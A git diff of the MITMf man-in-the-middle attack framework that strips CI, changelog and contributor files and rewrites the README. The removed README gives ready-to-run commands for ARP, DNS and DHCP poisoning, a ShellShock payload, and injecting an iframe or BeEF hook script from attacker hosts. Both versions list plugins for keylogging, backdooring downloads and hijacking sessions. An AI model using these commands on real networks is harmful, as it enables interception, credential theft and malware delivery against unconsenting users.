diff --git a/.coveragerc b/.coveragerc deleted file mode 100644 index 2a138cb..0000000 --- a/.coveragerc +++ /dev/null @@ -1,8 +0,0 @@ -[run] -branch = True - -[report] -include = *core*, *libs*, *plugins* -exclude_lines = - pragma: nocover - pragma: no cover diff --git a/.gitignore b/.gitignore index acdb2f6..fad281d 100644 --- a/.gitignore +++ b/.gitignore @@ -1,63 +1,3 @@ +*.pyc /plugins/old_plugins/ backdoored/ -# Byte-compiled / optimized / DLL files -__pycache__/ -*.py[cod] - -# C extensions -*.so - -# Distribution / packaging -.Python -env/ -build/ -develop-eggs/ -dist/ -downloads/ -eggs/ -.eggs/ -lib/ -lib64/ -parts/ -sdist/ -var/ -*.egg-info/ -.installed.cfg -*.egg - -# PyInstaller -# Usually these files are written by a python script from a template -# before PyInstaller builds the exe, so as to inject date/other infos into it. -*.manifest -*.spec - -# Installer logs -pip-log.txt -pip-delete-this-directory.txt - -# Unit test / coverage reports -htmlcov/ -.tox/ -.coverage -.coverage.* -.cache -nosetests.xml -coverage.xml -*,cover - -# Translations -*.mo -*.pot - -# Django stuff: -*.log - -# Sphinx documentation -docs/_build/ - -# PyBuilder -target/ - -# OSX Stuff -.DS_Store -._.DS_Store diff --git a/.gitmodules b/.gitmodules index 65a6dc5..24bf992 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,3 @@ -[submodule "libs/bdfactory"] - path = libs/bdfactory +[submodule "bdfactory"] + path = bdfactory url = https://github.com/secretsquirrel/the-backdoor-factory diff --git a/.travis.yml b/.travis.yml deleted file mode 100644 index 1656a7a..0000000 --- a/.travis.yml +++ /dev/null @@ -1,27 +0,0 @@ -language: python -python: - - "2.7" - -addons: - apt: - packages: - - libpcap0.8-dev - - libnetfilter-queue-dev - - libssl-dev - -notifications: - irc: - channels: - - "irc.freenode.org#MITMf" - template: - - "%{repository}#%{build_number} (%{branch} - %{commit} - %{commit_subject} : %{author}): %{message}" - skip_join: true - use_notice: true - -install: "pip install -r requirements.txt" -before_script: - - "pip install python-coveralls" -script: - - "nosetests --with-cov" -after_success: - - coveralls diff --git a/CHANGELOG.md b/CHANGELOG.md deleted file mode 100644 index f2fc580..0000000 --- a/CHANGELOG.md +++ /dev/null @@ -1,47 +0,0 @@ -- Added active filtering/injection into the framework - -- Fixed a bug in the DHCP poisoner which prevented it from working on windows OS's - -- Made some preformance improvements to the ARP spoofing poisoner - -- Refactored Appcachepoison , BrowserSniper plugins - -- Refactored proxy plugin API - --Inject plugin now uses BeautifulSoup4 to parse and inject HTML/JS - -- Added HTA Drive by plugin - -- Added the SMBTrap plugin - -- Config file now updates on the fly! - -- SessionHijacker is replaced with Ferret-NG captures cookies and starts a proxy that will feed them to connected clients - -- JavaPwn plugin replaced with BrowserSniper now supports Java, Flash and browser exploits - -- Addition of the Screenshotter plugin, able to render screenshots of a client's browser at regular intervals - -- Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library - -- Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' - -- Integrated [Net-Creds](https://github.com/DanMcInerney/net-creds) currently supported protocols are: FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos - -- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS and act as a rogue WPAD server - -- Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 - -- Spoof plugin can now exploit the 'ShellShock' bug when DHCP spoofing - -- Spoof plugin now supports ICMP, ARP and DHCP spoofing - -- Usage of third party tools has been completely removed (e.g. Ettercap) - -- FilePwn plugin re-written to backdoor executables zip and tar files on the fly by using [the-backdoor-factory](https://github.com/secretsquirrel/the-backdoor-factory) and code from [BDFProxy](https://github.com/secretsquirrel/BDFProxy) - -- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploit's RPC server - -- Added [beefapi.py](https://github.com/byt3bl33d3r/beefapi) for interfacing with BeEF's RESTfulAPI - -- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here: http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md deleted file mode 100644 index 7154da3..0000000 --- a/CONTRIBUTING.md +++ /dev/null @@ -1,52 +0,0 @@ -Contributing -============ -Hi! Thanks for taking the time and contributing to MITMf! Pull requests are always welcome! - -Submitting Issues/Bug Reporting -============= - -Bug reporting is an essential part of any project since it let's people know whats broken! - -Before reading on, here's a list of cases where you **shouldn't** be reporting the bug: -- If you haven't installed MITMf using method described in the [installation](https://github.com/byt3bl33d3r/MITMf/wiki/Installation) intructions. (your fault!) -- If you're using and old version of the framework (and by old I mean anything else that **isn't** the current version on Github) -- If you found a bug in a packaged version of MITMf (e.g. Kali Repos), please file a bug report with the distros maintaner - -Lately, there has been a sharp **increase** in the volume of bug reports so in order for me to make any sense out of them and to quickly identify, reproduce and push a fix I do pretend a minimal amount of cooperation from the reporter! - -Writing the report -================== -**Before submitting a bug familiarize yourself with [Github markdown](https://help.github.com/articles/github-flavored-markdown/) and use it in your report!** - -After that, open an issue ticket and please describe the bug in **detail!** MITMf has a lot of moving parts so the more detail the better! - -Include in the report: -- The full command string you used -- The full output of: ```pip freeze``` -- The full output of MITMf in debug mode (append ```--log debug``` to the command you used) -- The OS you're using (distribution and architecture) -- The full error traceback (If any) -- If the bug resides in the way MITMf sends/receives packets, include a link to a pcap containing a full packet capture - -Some good & bad examples -========================= - -- How to write a bug report - -https://github.com/byt3bl33d3r/MITMf/issues/71 - -https://github.com/byt3bl33d3r/MITMf/issues/70 - -https://github.com/byt3bl33d3r/MITMf/issues/64 - -- How not to write a bug report - -https://github.com/byt3bl33d3r/MITMf/issues/35 <-- My personal favorite - -https://github.com/byt3bl33d3r/MITMf/issues/139 - -https://github.com/byt3bl33d3r/MITMf/issues/138 - -https://github.com/byt3bl33d3r/MITMf/issues/128 - -https://github.com/byt3bl33d3r/MITMf/issues/52 diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md deleted file mode 100644 index d0f9f61..0000000 --- a/CONTRIBUTORS.md +++ /dev/null @@ -1,22 +0,0 @@ -# Intentional contributors (in no particular order) - -- @rthijssen -- @ivangr0zni (Twitter) -- @xtr4nge -- @DrDinosaur -- @secretsquirrel -- @binkybear -- @0x27 -- @golind -- @mmetince -- @niallmerrigan -- @auraltension -- @HAMIDx9 - -# Unintentional contributors and/or projects that I stole code from - -- Metasploit Framework's os.js and Javascript Keylogger module -- Responder by Laurent Gaffie -- The Backdoor Factory and BDFProxy -- ARPWatch module from the Subterfuge Framework -- Impacket's KarmaSMB script diff --git a/README.md b/README.md old mode 100755 new mode 100644 index 2b60ea0..fb38ca7 --- a/README.md +++ b/README.md @@ -1,171 +1,43 @@ - - - -[](https://codeclimate.com/github/byt3bl33d3r/MITMf) -[](https://travis-ci.org/byt3bl33d3r/MITMf) -[](https://coveralls.io/github/byt3bl33d3r/MITMf?branch=master) - -# MITMf +MITMf +===== Framework for Man-In-The-Middle attacks -**This project is no longer being updated. MITMf was written to address the need, at the time, of a modern tool for performing Man-In-The-Middle attacks. Since then many other tools have been created to fill this space, you should probably be using [Bettercap](https://github.com/bettercap/bettercap) as it is far more feature complete and better maintained.** +Quick tutorials, examples and dev updates at http://sign0f4.blogspot.it -Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.io +This tool is completely based on sergio-proxy https://code.google.com/p/sergio-proxy/ and is an attempt to revive and update the project. -This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. +Availible plugins: +- Spoof - Redirect traffic using ARP Spoofing, DNS Spoofing or ICMP Redirects +- AppCachePoison - Perform app cache poison attacks +- BrowserProfiler - Attempts to enumerate all browser plugins of connected clients +- CacheKill - Kills page caching by modifying headers +- FilePwn - Backdoor executables being sent over http using bdfactory +- Inject - Inject arbitrary content into HTML content +- JavaPwn - Performs drive-by attacks on clients with out-of-date java browser plugins +- jskeylogger - Injects a javascript keylogger into clients webpages +- Replace - Replace arbitary content in HTML content +- SMBAuth - Evoke SMB challenge-response auth attempts +- Upsidedownternet - Flips images 180 degrees -Contact me at: -- Twitter: @byt3bl33d3r -- IRC on Freenode: #MITMf -- Email: byt3bl33d3r@protonmail.com +So far the most significant changes have been: -**Before submitting issues, please read the relevant [section](https://github.com/byt3bl33d3r/MITMf/wiki/Reporting-a-bug) in the wiki .** +- Spoof plugin is live !! Supports ICMP, ARP and DNS spoofing + (DNS Spoofing code was stolen from https://github.com/DanMcInerney/dnsspoof/) -Installation -============ +- Usage of third party tools has been completely removed (e.g. ettercap) -Please refer to the wiki for [installation instructions](https://github.com/byt3bl33d3r/MITMf/wiki/Installation) +- Addition of the BrowserProfiler plugin -Description -============ -MITMf aims to provide a one-stop-shop for Man-In-The-Middle and network attacks while updating and improving -existing attacks and techniques. +- Addition of the JsKeylogger plugin -Originally built to address the significant shortcomings of other tools (e.g Ettercap, Mallory), it's been almost completely -re-written from scratch to provide a modular and easily extendible framework that anyone can use to implement their own MITM attack. +- FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory +https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy https://github.com/secretsquirrel/BDFProxy -Features -======== +- Added msfrpc.py for interfacing with Metasploits rpc server -- The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins, it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass. +- Added Replace plugin -- As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better), -allowing users to modify any type of traffic or protocol. - -- The configuration file can be edited on-the-fly while MITMf is running, the changes will be passed down through the framework: this allows you to tweak settings of plugins and servers while performing an attack. - -- MITMf will capture FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos credentials by using [Net-Creds](https://github.com/DanMcInerney/net-creds), which is run on startup. - -- [Responder](https://github.com/SpiderLabs/Responder) integration allows for LLMNR, NBT-NS and MDNS poisoning and WPAD rogue server support. - -Active packet filtering/modification -==================================== - -You can now modify any packet/protocol that gets intercepted by MITMf using Scapy! (no more etterfilters! yay!) - -For example, here's a stupid little filter that just changes the destination IP address of ICMP packets: - -```python -if packet.haslayer(ICMP): - log.info('Got an ICMP packet!') - packet.dst = '192.168.1.0' -``` - -- Use the ```packet``` variable to access the packet in a Scapy compatible format -- Use the ```data``` variable to access the raw packet data - -Now to use the filter all we need to do is: ```python mitmf.py -F ~/filter.py``` - -You will probably want to combine that with the **Spoof** plugin to actually intercept packets from someone else ;) - -**Note**: you can modify filters on-the-fly without restarting MITMf! - -Examples -======== - -The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0: - -```python mitmf.py -i enp3s0``` - -ARP poison the whole subnet with the gateway at 192.168.1.1 using the **Spoof** plugin: - -```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1``` - -Same as above + a WPAD rogue proxy server using the **Responder** plugin: - -```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad``` - -ARP poison 192.168.1.16-45 and 192.168.0.1/24 with the gateway at 192.168.1.1: - -```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1``` - -Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file): - -```python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` - -Enable LLMNR/NBTNS/MDNS spoofing: - -```python mitmf.py -i enp3s0 --responder --wredir --nbtns``` - -Enable DHCP spoofing (the ip pool and subnet are pulled from the config file): - -```python mitmf.py -i enp3s0 --spoof --dhcp``` - -Same as above with a ShellShock payload that will be executed if any client is vulnerable: - -```python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'``` - -Inject an HTML IFrame using the **Inject** plugin: - -```python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com``` - -Inject a JS script: - -```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` - -Start a captive portal that redirects everything to http://SERVER/PATH: - -```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH``` - -Start captive portal at http://your-ip/portal.html using default page /portal.html (thx responder) and /CaptiveClient.exe (not included) from the config/captive folder: - -```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive``` - -Same as above but with hostname captive.portal instead of IP (requires captive.portal to resolve to your IP, e.g. via DNS spoof): - -```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns``` - -Serve a captive portal with an additional SimpleHTTPServer instance serving the LOCALDIR at http://IP:8080 (change port in mitmf.config): - -```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR``` - -Same as above but with hostname: - -```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns``` - -And much much more! - -Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) - -For a complete list of available options, just run ```python mitmf.py --help``` - -# Currently available plugins - -- **HTA Drive-By** : Injects a fake update notification and prompts clients to download an HTA application -- **SMBTrap** : Exploits the 'SMB Trap' vulnerability on connected clients -- **ScreenShotter** : Uses HTML5 Canvas to render an accurate screenshot of a clients browser -- **Responder** : LLMNR, NBT-NS, WPAD and MDNS poisoner -- **SSLstrip+** : Partially bypass HSTS -- **Spoof** : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing -- **BeEFAutorun** : Autoruns BeEF modules based on a client's OS or browser type -- **AppCachePoison** : Performs HTML5 App-Cache poisoning attacks -- **Ferret-NG** : Transparently hijacks client sessions -- **BrowserProfiler** : Attempts to enumerate all browser plugins of connected clients -- **FilePwn** : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy -- **Inject** : Inject arbitrary content into HTML content -- **BrowserSniper** : Performs drive-by attacks on clients with out-of-date browser plugins -- **JSkeylogger** : Injects a Javascript keylogger into a client's webpages -- **Replace** : Replace arbitrary content in HTML content -- **SMBAuth** : Evoke SMB challenge-response authentication attempts -- **Upsidedownternet** : Flips images 180 degrees -- **Captive** : Creates a captive portal, redirecting HTTP requests using 302 - -# How to fund my tea & sushi reserve - -BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU - -ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee - -LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr +- Addition of the app-cache poisoning attack by Krzysztof Kotowicz +- JavaPwn plugin now live! Auto-detect and exploit clients with out-of-date java plugins using the Metasploit Frameworks rpc interface!! diff --git a/bdfactory b/bdfactory new file mode 160000 index 0000000..35d67b8 --- /dev/null +++ b/bdfactory @@ -0,0 +1 @@ +Subproject commit 35d67b82050a7e7315132185129f5e65a0893b75 diff --git a/config/app_cache_poison_templates/script.append b/config/app_cache_poison_templates/script.append deleted file mode 100644 index 2ff38fb..0000000 --- a/config/app_cache_poison_templates/script.append +++ /dev/null @@ -1,2 +0,0 @@ - -;alert('AppCache Poison was here. Google Analytics FTW'); \ No newline at end of file diff --git a/config/captive/portal.html b/config/captive/portal.html deleted file mode 100755 index 80b0cac..0000000 --- a/config/captive/portal.html +++ /dev/null @@ -1,31 +0,0 @@ - -
-